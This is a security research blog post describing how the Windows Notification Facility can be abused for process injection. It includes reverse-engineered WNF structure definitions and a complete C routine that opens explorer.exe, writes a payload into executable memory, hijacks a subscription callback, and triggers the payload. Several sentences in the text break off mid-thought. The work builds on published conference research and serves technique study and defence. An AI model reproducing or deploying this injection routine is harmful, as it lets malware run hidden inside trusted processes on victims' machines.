Introduction
At Blackhat 2018, Alex Ionescu and Gabrielle Viala presented Windows Notification Facility: Peeling the Onion of the Most Undocumented Kernel Attack Surface Yet. It’s an exceptional well-researched presentation that I recommend you watch first before reading this post. In it, they describe WNF in great detail; the functions, data structures, how to interact with it. If you don’t wish to watch the whole video, well, you’re missing out on a cool presentation, but you can always read the slides from their talk here. Gabrielle followed up with a another well-detailed post called Playing with the Windows Notification Facility (WNF) that is also required reading if you want to understand the internals of WNF. You can find some of their tools here which allow dumping information about state names and subscribing for events. As suggested in the presentation, WNF can be used for code redirection/process injection which is what I’ll describe here. wezmaster has demonstrated how to use WNF for persisting .NET payloads here.
Context Header
The table, user and name subscriptions all have a context header.
typedef struct _WNF_CONTEXT_HEADER { CSHORT NodeTypeCode; CSHORT NodeByteSize; } WNF_CONTEXT_HEADER, *PWNF_CONTEXT_HEADER;
The
#define WNF_NODE_SUBSCRIPTION_TABLE 0x911 #define WNF_NODE_NAME_SUBSCRIPTION 0x912 #define WNF_NODE_SERIALIZATION_GROUP 0x913 #define WNF_NODE_USER_SUBSCRIPTION 0x914
For a target process, we scan all writeable areas of memory and attempt to read
UPDATE: Adam suggested finding the address of WNF table via a function referencing it. You could also search pointers in the
Subscription Table
Created by
typedef struct _WNF_SUBSCRIPTION_TABLE { WNF_CONTEXT_HEADER Header; SRWLOCK NamesTableLock; LIST_ENTRY NamesTableEntry; LIST_ENTRY SerializationGroupListHead; SRWLOCK SerializationGroupLock; DWORD Unknown1[2]; DWORD SubscribedEventSet; DWORD Unknown2[2]; PTP_TIMER Timer; ULONG64 TimerDueTime; } WNF_SUBSCRIPTION_TABLE, *PWNF_SUBSCRIPTION_TABLE;
The main field we’re interested in is the
Serialization Group
Created by
typedef struct _WNF_SERIALIZATION_GROUP { WNF_CONTEXT_HEADER Header; ULONG GroupId; LIST_ENTRY SerializationGroupList; ULONG64 SerializationGroupValue; ULONG64 SerializationGroupMemberCount; } WNF_SERIALIZATION_GROUP, *PWNF_SERIALIZATION_GROUP;
Name Subscription
Created by
typedef struct _WNF_NAME_SUBSCRIPTION { WNF_CONTEXT_HEADER Header; ULONG64 SubscriptionId; WNF_STATE_NAME_INTERNAL StateName; WNF_CHANGE_STAMP CurrentChangeStamp; LIST_ENTRY NamesTableEntry; PWNF_TYPE_ID TypeId; SRWLOCK SubscriptionLock; LIST_ENTRY SubscriptionsListHead; ULONG NormalDeliverySubscriptions; ULONG NotificationTypeCount[5]; PWNF_DELIVERY_DESCRIPTOR RetryDescriptor; ULONG DeliveryState; ULONG64 ReliableRetryTime; } WNF_NAME_SUBSCRIPTION, *PWNF_NAME_SUBSCRIPTION;
The main fields we’re interested in are
User Subscription
Created by
typedef struct _WNF_USER_SUBSCRIPTION { WNF_CONTEXT_HEADER Header; LIST_ENTRY SubscriptionsListEntry; PWNF_NAME_SUBSCRIPTION NameSubscription; PWNF_USER_CALLBACK Callback; PVOID CallbackContext; ULONG64 SubProcessTag; ULONG CurrentChangeStamp; ULONG DeliveryOptions; ULONG SubscribedEventSet; PWNF_SERIALIZATION_GROUP SerializationGroup; ULONG UserSubscriptionCount; ULONG64 Unknown[10]; } WNF_USER_SUBSCRIPTION, *PWNF_USER_SUBSCRIPTION;
We’re interested in the
Callback Prototype
Six parameters are passed to a callback procedure. Both
typedef NTSTATUS (*PWNF_USER_CALLBACK) ( _In_ WNF_STATE_NAME StateName, _In_ WNF_CHANGE_STAMP ChangeStamp, _In_opt_ PWNF_TYPE_ID TypeId, _In_opt_ PVOID CallbackContext, _In_ PVOID Buffer, _In_ ULONG BufferSize);
Listing Subscriptions
To help locate the WNF subscription table in a remote process, I wrote a simple tool called wnfscan that searches all writeable areas of memory for the context header. Once found, it parses and displays a list of name and user subscriptions.

Process Injection
Because we have to locate the WNF subscription table by scanning memory, this method of injection is more complicated than others. We don’t search for
VOID wnf_inject(LPVOID payload, DWORD payloadSize) { WNF_USER_SUBSCRIPTION us; LPVOID sa, cs; HWND hw; HANDLE hp; DWORD pid; SIZE_T wr; ULONG64 ns = WNF_SHEL_APPLICATION_STARTED; NtUpdateWnfStateData_t _NtUpdateWnfStateData; HMODULE m; // 1. Open explorer.exe hw = FindWindow(L"Shell_TrayWnd", NULL); GetWindowThreadProcessId(hw, &pid); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 2. Locate user subscription sa = GetUserSubFromProcess(hp, &us, WNF_SHEL_APPLICATION_STARTED); // 3. Allocate RWX memory and write payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 4. Update callback and trigger execution of payload WriteProcessMemory( hp, (PBYTE)sa + offsetof(WNF_USER_SUBSCRIPTION, Callback), &cs, sizeof(ULONG_PTR), &wr); m = GetModuleHandle(L"ntdll"); _NtUpdateWnfStateData = (NtUpdateWnfStateData_t)GetProcAddress(m, "NtUpdateWnfStateData"); _NtUpdateWnfStateData( &ns, NULL, 0, 0, NULL, 0, 0); // 5. Restore original callback, free memory and close process WriteProcessMemory( hp, (PBYTE)sa + offsetof(WNF_USER_SUBSCRIPTION, Callback), &us.Callback, sizeof(ULONG_PTR), &wr); VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); }
Summary
Since it’s possible to transfer data into the address space of a remote process via WNF publishing, it may be possible to avoid using